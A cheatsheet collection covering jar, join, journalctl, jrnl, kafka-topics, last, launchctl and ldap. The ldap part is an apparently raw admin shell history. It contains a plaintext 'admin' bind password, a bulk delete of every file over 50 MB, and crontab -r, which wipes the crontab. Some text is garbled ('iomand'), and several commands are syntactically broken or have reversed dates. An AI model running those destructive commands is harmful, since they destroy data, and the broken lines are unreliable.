▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ █████╗ ██████╗
# ██║██╔══██╗██╔══██╗
# ██║███████║██████╔╝
# ██ ██║██╔══██║██╔══██╗
# ╚█████╔╝██║ ██║██║ ██║
# ╚════╝ ╚═╝ ╚═╝╚═╝ ╚═╝
# List all packages with at least a class defined in a JAR file
jar tf "$1" | grep '/.*\.class$' | xargs dirname | sort -u | tr / .
# Explanation: The jar command allows you to read or manipulate JAR (Java ARchive) files, which are ZIP files that usually contain classfiles (Java compiled bytecode files) and possibly manifests and configuration files. We specify that we want to list file contents (t) that we provide as an argument (f, otherwise the jar will be read from stdin). From the output, we get only the paths that contain a classfile (grep), then the path to the package that contains it (xargs dirname), we get the unique, sorted paths and translate /s to .s (to display their names as they would be shown in Java syntax).
# Limitations: Will only exhaustively list the packages with a defined class for languages that require packages to map to the directory structure (e.g.: Java does, Scala does not). If this convention is respected, the command will output an exhaustive list of packages nonetheless.
cat foo.zip | jar xv
# Extract a Zip File from STDOUT with the Jar Command
# Plain old unzip will not unzip output coming from STDOUT the ZIP file format includes a directory (index) at the end of the archive. This directory says where, within the archive each file is located and thus allows for quick, random access, without reading the entire archive. This would appear to pose a problem when attempting to read a ZIP archive through a pipe, in that the index is not accessed until the very end and so individual members cannot be correctly extracted until after the file has been entirely read and is no longer available. As such it appears unsurprising that most ZIP decompressors simply fail when the archive is supplied through a pipe. The directory at the end of the archive is not the only location where file meta information is stored in the archive. In addition, individual entries also include this information in a local file header, for redundancy purposes. From the `jar` manpage: > The jar command is a general-purpose archiving and compression tool, based on ZIP and the ZLIB compression format. JAR is smart enough to know how to handle these local file headers when the index is unavailable when reading through the pipe. (Most of the explanation in this description is taken from https://serverfault.com/a/589528/314226 , though they recommend using `bsdtar`, but that is not always available on systems) Show Sample Output:
# ?? cat foo.zip | jar xv
# extracted: foo/bae.txt
# extracted: foo/bar.txt
# extracted: foo/baz.txt
# extracted: foo/boo.txt
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command jar in a clear format. This allows users to quickly access the needed information for jar without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for jar are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
69 - 🖥️join
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the join command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ██╗███╗ ██╗
# ██║██╔═══██╗██║████╗ ██║
# ██║██║ ██║██║██╔██╗ ██║
# ██ ██║██║ ██║██║██║╚██╗██║
# ╚█████╔╝╚██████╔╝██║██║ ╚████║
# ╚════╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝
join -o 1.1,2.2 -1 1 -2 1 -t: file1 file2
# Merge two files together based on the first column in each. Print file1.col1:file2.col2.
join -a2 -j2 <(cat -n old|sort -k2) <(cat -n new|sort -k2)|awk 'NF==3{print$3,-$3+$2,$1;next}{print$2,"-",$1}'|sort -n
# show rank change
#==============================##==============================#
# CMD JOIN #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command join in a clear format. This allows users to quickly access the needed information for join without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for join are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
70 - 🖥️journalctl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the journalctl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ██╗ ██╗██████╗ ███╗ ██╗ █████╗ ██╗ ██████╗████████╗██╗
# ██║██╔═══██╗██║ ██║██╔══██╗████╗ ██║██╔══██╗██║ ██╔════╝╚══██╔══╝██║
# ██║██║ ██║██║ ██║██████╔╝██╔██╗ ██║███████║██║ ██║ ██║ ██║
# ██ ██║██║ ██║██║ ██║██╔══██╗██║╚██╗██║██╔══██║██║ ██║ ██║ ██║
# ╚█████╔╝╚██████╔╝╚██████╔╝██║ ██║██║ ╚████║██║ ██║███████╗╚██████╗ ██║ ███████╗
# ╚════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚══════╝
# Actively follow log (like tail -f)
journalctl -f
# Display all errors since last boot
journalctl -b -p err
# Filter by time period
journalctl --since=2012-10-15 --until="2011-10-16 23:59:59"
# Show list of systemd units logged in journal
journalctl -F _SYSTEMD_UNIT
# Filter by specific unit
journalctl -u dbus
# Filter by executable name
journalctl /usr/bin/dbus-daemon
# Filter by PID
journalctl _PID=123
# Filter by Command, e.g., sshd
journalctl _COMM=sshd
# Filter by Command and time period
journalctl _COMM=crond --since '10:00' --until '11:00'
# List all available boots
journalctl --list-boots
# Filter by specific User ID e.g., user id 1000
journalctl _UID=1000
#==============================#
# CMD JOURNALCTL
#==============================##==============================#
journalctl /sbin/dhclient
#
journalctl /dev/sd?
#
journalctl -b
# Get boot information with -b option
journalctl –since=yesterday
# Use anotger filer to get a log view since yesterday
journalctl -u sshd --since=yesterday
# Journald gets its information from systemctl, let us get inofrmation of sshd service
journalctl -u sshd --since=yesterday -o verbose
# To get more detailed infomration use versbose option
journalctl --unit=named --follow
# We can even use systemctl to get detailed information about an service - follow DNS Bind named log - prints and follows the systemd logfile entires for the DNS bind named.service unit (on Arch linux, your distro bind service may have a different name)
journalctl -k
# show kernel messages only
# Retrieve dropped connections from firewalld journaling
journalctl -b | grep -o "PROTO=.*" | sed -r 's/(PROTO|SPT|DPT|LEN)=//g' | awk '{print $1, $3}' | sort | uniq -c
# Explanation: We take the output of journalctl since the last boot (-b flag) and output from PROTO= until the EOL. Then, we remove identification tags (PROTO=/SPT=/DPT=/LEN=) and print just the protocol and destination port (cols 1 and 3). We sort the output properly so we can aggregate them on the call over uniq.
# Limitations:
# Only works on Linux
# You use firewalld and you have logging set on ALL (see firewalld.conf for details)
# You use journald for logging
# Your user has sudo privileges
#==============================##==============================#
# CMD JOURNALCTL
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command journalctl in a clear format. This allows users to quickly access the needed information for journalctl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for journalctl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
71 - 🖥️jrnl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the jrnl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗██████╗ ███╗ ██╗██╗
# ██║██╔══██╗████╗ ██║██║
# ██║██████╔╝██╔██╗ ██║██║
# ██ ██║██╔══██╗██║╚██╗██║██║
# ╚█████╔╝██║ ██║██║ ╚████║███████╗
# ╚════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝
# Add entry to default jrnl (from your configured text editor)
jrnl
# Add entry to default jrnl
jrnl Write entry here.
# List of tags
jrnl --tags
# Entries per tag
jrnl @tag
# Export jrnl as json
jrnl --export json
# Entries in a timeframe
jrnl -from 2009 -until may
# Add Sublime text to .jrnl_config
# Windows
"editor": "F:\\Powerpack\\Sublime\\sublime_text.exe -w"
# Linux
"editor": "/usr/bin/sublime -w"
#==============================##==============================#
# CMD JRNL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command jrnl in a clear format. This allows users to quickly access the needed information for jrnl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for jrnl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
72 - 🖥️kafka-topics
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the kafka-topics command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ █████╗ ███████╗██╗ ██╗ █████╗ ████████╗ ██████╗ ██████╗ ██╗ ██████╗███████╗
# ██║ ██╔╝██╔══██╗██╔════╝██║ ██╔╝██╔══██╗ ╚══██╔══╝██╔═══██╗██╔══██╗██║██╔════╝██╔════╝
# █████╔╝ ███████║█████╗ █████╔╝ ███████║█████╗██║ ██║ ██║██████╔╝██║██║ ███████╗
# ██╔═██╗ ██╔══██║██╔══╝ ██╔═██╗ ██╔══██║╚════╝██║ ██║ ██║██╔═══╝ ██║██║ ╚════██║
# ██║ ██╗██║ ██║██║ ██║ ██╗██║ ██║ ██║ ╚██████╔╝██║ ██║╚██████╗███████║
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
# kafka-topics
#
# Comamnd-line tool to manage Kafka topics
# list topics
kafka-topics --zookeeper localhost:2181 --list
# create a topic
kafka-topics --zookeeper localhost:2181 --create --topic logs --partitions 3 --replication-factor 2
# view topic
kafka-topics --zookeeper localhost:2181 --describe --topic logs
# update a topic
kafka-topics --zookeeper localhost:2181 --alter --topic logs --config cleanup.policy=compact
# delete a topic
kafka-topics --zookeeper localhost:2181 --delete --topic logs
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command kafka-topics in a clear format. This allows users to quickly access the needed information for kafka-topics without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for kafka-topics are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
73 - 🖥️last
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the last command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ █████╗ ███████╗████████╗
# ██║ ██╔══██╗██╔════╝╚══██╔══╝
# ██║ ███████║███████╗ ██║
# ██║ ██╔══██║╚════██║ ██║
# ███████╗██║ ██║███████║ ██║
# ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝
last -da | grep -v ^autologinuser
# Check the whole last login log, but filter out that annoying user that must login every minute.
last -da | grep -vE "^(root|reboot|asmith) "
# See the last logged in users, but filter out entries for root, reboots and asmith.
last -da | awk '{print $1 " " $NF}' | sort | uniq -c
# Analyze your whole lastlog to see the different remote hosts for each user.
last -da|cut -c27-30|uniq|awk -v y=$(date +%Y) '{if(/Jan/){print $0;print "-- " y--}else{print}}'
# Jeez, how far back do these lastlogs go?
# A newer option of the last command allows you to print the users who were logged in at a specific time. So you may find the culprit for an incident. Note that logs might be rotated.
last -p "2019-06-04 01:31:00"
# Count how many times everyone logged in to a system this month
last | cut - d' ' - f1 | uniq -c | sort -n
#==============================##==============================#
# CMD LAST #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command last in a clear format. This allows users to quickly access the needed information for last without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for last are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
74 - 🖥️launchctl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the launchctl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗██╗ ██╗ ██████╗████████╗██╗
# ██║ ██╔═══██╗██║ ██║████╗ ██║██╔════╝██║ ██║██╔════╝╚══██╔══╝██║
# ██║ ██║ ██║██║ ██║██╔██╗ ██║██║ ███████║██║ ██║ ██║
# ██║ ██║ ██║██║ ██║██║╚██╗██║██║ ██╔══██║██║ ██║ ██║
# ███████╗╚██████╔╝╚██████╔╝██║ ╚████║╚██████╗██║ ██║╚██████╗ ██║ ███████╗
# ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
# launchctl
# A command-line interface to Apple's launchd manager
# for launch daemons (system-wide services) and launch agents (per-user programs).
# launchd loads XML-based *.plist files placed in the appropriate locations,
# and runs the corresponding commands according to their defined schedule.
# Activate a user-specific agent to be loaded into launchd
# whenever the user logs in:
launchctl load ~/Library/LaunchAgents/my_script.plist
# Activate an agent which requires root privileges to run
# and/or should be loaded whenever any user logs in (note the absence of ~ in the path):
sudo launchctl load /Library/LaunchAgents/root_script.plist
# Activate a system-wide daemon to be loaded
# whenever the system boots up (even if no user logs in):
sudo launchctl load /Library/LaunchDaemons/system_daemon.plist
# Show all loaded agents/daemons, with the PID if the process they specify is currently running,
# and the exit code returned the last time they ran:
launchctl list
# Unload a currently loaded agent, e.g. to make changes
# (note: the plist file is automatically loaded into launchd after a reboot and/or logging in):
launchctl unload ~/Library/LaunchAgents/my_script.plist
# Manually run a known (loaded) agent/daemon, even if it isn’t the right time
# (note: this command uses the agent's label, rather than the filename):
launchctl start my_script
# Manually kill the process associated with a known agent/daemon, if it's running:
launchctl stop my_script
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command launchctl in a clear format. This allows users to quickly access the needed information for launchctl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for launchctl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
75 - 🖥️ldap
➡️This is a iomand-line reference manual for iomands and iomand iobinations that you don’t use often enough to remember it. This cheatsheet explains the ldap iomand with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ ioMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██████╗ █████╗ ██████╗
# ██║ ██╔══██╗██╔══██╗██╔══██╗
# ██║ ██║ ██║███████║██████╔╝
# ██║ ██║ ██║██╔══██║██╔═══╝
# ███████╗██████╔╝██║ ██║██║
# ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝
#----------------#
|# Ldap Notizen #|
#----------------#
ldapsearch -vvv -LLL -b "CN=Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "CN =Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "cn =config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -Y EXTERNAL -vvv -LLL -b "cn=config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "c=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
# ldap dump erstellen
cd /tmp/
slapcat -n 1
slapcat -n 1 -l dump.ldif
less dump.ldif
scp dump.ldif srv8504101pdf.linuxserver0041.lxu.io:/root/
# ldap dump Einspielen
ls -l /var/lib/ldap/
cat /var/lib/ldap/DB_CONFIG
slapcat --help
slapcat -n 1 -l /tmp/dump.ldif
https://blog.tralios.de/2016/09/umzug-einer-ldap-datenbank-auf-einen-neuen-server/
############################### LDAP History srv8504101pdf ###################################
cd /etc/openldap/
vi slapd.conf
vi slapd.conf.default
vi slapd.conf.YaSTsave
vi ldap.conf
cd slapd.d
vi cn\=config.ldif
cd cn\=config/
cd cn\=schema/
vi cn\=\{0\}core.ldif
zypper update
reboot; exit
less messages
grep "error" *
grep "error" * | less
cd /etc
ls -latr
grep -i ldap *
cd /var/log
ls -latr
tail -f messages
cd /tmp/
slapcat -n 1
slapcat -n 1 -l dump.ldif
less dump.ldif
scp dump.ldif srv8504101pdf.linuxserver0041.lxu.io:/root/
zypper up
zypper se bind
zypper up
cat /etc/SuSE-release
l -tr
du -shx pdf
zypper intall ccze
zypper se ccze
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i TEST
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i Testuser.lotusnotesen
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i Testuser.lotusnotesen -A15
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i Testuser.lotusnotesen -B10 -A20
ldapsearch -LLL -b "CN=MAX MUSTERMAN,OU=USR,OU=linuxserver0093,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
vi import_ad_ldif.sh
ldapsearch -LLL $OpenLDAPAccess -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(employeeNumber=DID0019431)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(employeeNumber=DID9819431)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(employeeNumber=9819431)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(uid: unixtux)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "uid: unixtux"
ldapsearch -LLL -b "CN=Quentin unixtux,OU=USR,OU=linuxserver0534,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io uid
ldapsearch -vvv -LLL -b "CN=Quentin unixtux,OU=USR,OU=linuxserver0534,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io uid
ldapsearch -vvv -LLL -b "CN=Quentin unixtux,OU=USR,OU=linuxserver0534,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
cat /var/tmp/ldif_ad/TUTTUXY.ldif
ldapsearch -vvv -LLL -b "CN=Tux Tuxy,OU=USR,OU=linuxserver059859,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
vgdisplay
lvextend -r --size +5G /dev/system/var
find . -xdev -type f -size +50000k -exec ls -lh {} \; | awk "{ print $8 `: ` $5 }"
find . -xdev -type f -size +50000k -exec ls -lh {} \; | awk "{ print $8 `: ` $5 }"
find . -xdev -type f -size +50000k -exec rm {} \; | awk "{ print $8 `: ` $5 }"
crontab -r
crontab -e
ldapsearch -xLLL -b dc=LXU,dc =io
ldapsearch -xLLL -b dc=LXU,dc =com
ldapsearch -vvv -LLL -b "CN=Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
cat /etc/openldap/ldap.conf
ldapsearch -x -vvv -LLL -b "CN =Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "cn =config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -Y EXTERNAL -vvv -LLL -b "cn=config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
/etc/init.d/ldap start & tail -f /var/log/messages
ldapsearch -x -vvv -LLL -b "c=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
#============================= Funktionsbeschreibung /root/LDAP-README.txt =====================================#
# _ ____ _ ____ ____ _____ _ ____ __ __ _____
# | | | _ \ / \ | _ \ | _ \| ____| / \ | _ \| \/ | ____|
# | | | | | |/ _ \ | |_) | | |_) | _| / _ \ | | | | |\/| | _|
# | |___| |_| / ___ \| __/ | _ <| |___ / ___ \| |_| | | | | |___
# |_____|____/_/ \_\_| |_| \_\_____/_/ \_\____/|_| |_|_____|
#
#
# Dieses Script erstellt ein Backup des VOIP-LDAP Inhaltes und verschiebt die .ldif Datei auf den srv8041backup
#
#==============================================================================================================#
#---------------#
# LDAP Searches
#--------------------------#
# AD-Search welche User haben die Gruppe AR-NWS-Jabber-Users im AD
(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))
# Selbe AD-Search welche User haben die Gruppe AR-NWS-Jabber-Users bei verwendung von OID's
(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof:1.2.840.113556.1.4.1941:=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))
